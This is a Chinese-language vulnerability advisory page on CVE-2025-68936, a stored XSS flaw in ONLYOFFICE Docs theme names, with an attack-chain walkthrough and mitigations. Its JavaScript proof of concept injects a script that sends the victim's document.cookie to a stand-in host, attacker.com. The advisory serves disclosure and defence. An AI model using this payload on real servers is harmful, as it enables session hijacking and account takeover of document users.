IPBUF安全漏洞报告
English
CVE-2025-68936 CVSS 6.4 中危

CVE-2025-68936 ONLYOFFICE Docs Color主题名称XSS漏洞

披露日期: 2025-12-25

漏洞信息

漏洞编号
CVE-2025-68936
漏洞类型
XSS (跨站脚本攻击)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
ONLYOFFICE DocumentServer

相关标签

XSS跨站脚本ONLYOFFICEDocumentServer存储型XSSCVE-2025-68936中危漏洞

漏洞概述

CVE-2025-68936是ONLYOFFICE Docs文档服务器中的一个存储型跨站脚本(XSS)漏洞。该漏洞存在于Color主题名称处理功能中,攻击者可以通过在主题名称中注入恶意JavaScript脚本代码,当其他用户查看或使用该主题时,恶意代码将在受害者浏览器中执行。ONLYOFFICE Docs是一款开源的在线文档编辑服务器,支持文档的在线创建、编辑和协作。由于其广泛部署于企业和组织的内网环境中,该漏洞可能影响大量用户的文档安全。攻击者利用此漏洞可以窃取用户会话cookie、劫持用户账户、执行恶意操作或进行钓鱼攻击。漏洞影响版本为9.2.1之前的ONLYOFFICE Docs。

技术细节

该漏洞属于存储型XSS(Stored XSS)类型,攻击向量位于ONLYOFFICE Docs的Color主题配置功能模块。当用户创建或修改Color主题时,系统未对主题名称进行充分的输入验证和输出编码。攻击者可以在主题名称字段中注入恶意JavaScript代码,如:<script>alert(document.cookie)</script>。由于主题名称会被存储在服务器端并在下一次加载主题时被读取并渲染到页面中,所有访问该主题的用户都会触发恶意脚本执行。攻击者需要具有低权限用户账户即可利用此漏洞,无需用户交互即可完成攻击。漏洞的根本原因在于后端API未对用户输入进行安全过滤,前端模板渲染时也未进行适当的HTML实体编码。

攻击链分析

STEP 1
步骤1
攻击者注册并登录ONLYOFFICE Docs低权限账户
STEP 2
步骤2
攻击者创建或修改Color主题,在主题名称字段中注入恶意JavaScript代码
STEP 3
步骤3
恶意主题名称被存储到服务器数据库中,未经过滤或编码
STEP 4
步骤4
受害者访问包含恶意主题的文档或主题管理页面
STEP 5
步骤5
受害者浏览器解析页面时执行注入的恶意JavaScript代码
STEP 6
步骤6
攻击者通过JavaScript窃取受害者Cookie、会话令牌或其他敏感信息

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-68936 XSS PoC // Target: ONLYOFFICE Docs < 9.2.1 // Attack Vector: Color theme name injection const payload = '<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>'; // Step 1: Login to ONLYOFFICE with low-privilege account const loginData = { username: '[email protected]', password: 'password123' }; // Step 2: Create malicious theme with XSS payload in name const createTheme = { name: payload, colors: ['#FF0000', '#00FF00', '#0000FF'] }; // Step 3: Send request to create/update theme fetch('https://target.onlyoffice.com/api/v1/themes', { method: 'POST', headers: { 'Content-Type': 'application/json', 'Authorization': 'Bearer ' + token }, body: JSON.stringify(createTheme) }); // Step 4: When victim views the theme, XSS executes

影响范围

ONLYOFFICE DocumentServer < 9.2.1

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 禁用或限制主题自定义功能;2) 加强对用户输入的过滤规则,在应用层添加XSS过滤器;3) 启用WAF(Web应用防火墙)规则检测和阻止XSS攻击;4) 限制低权限用户的主题管理权限;5) 监控日志中的异常脚本标签特征。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表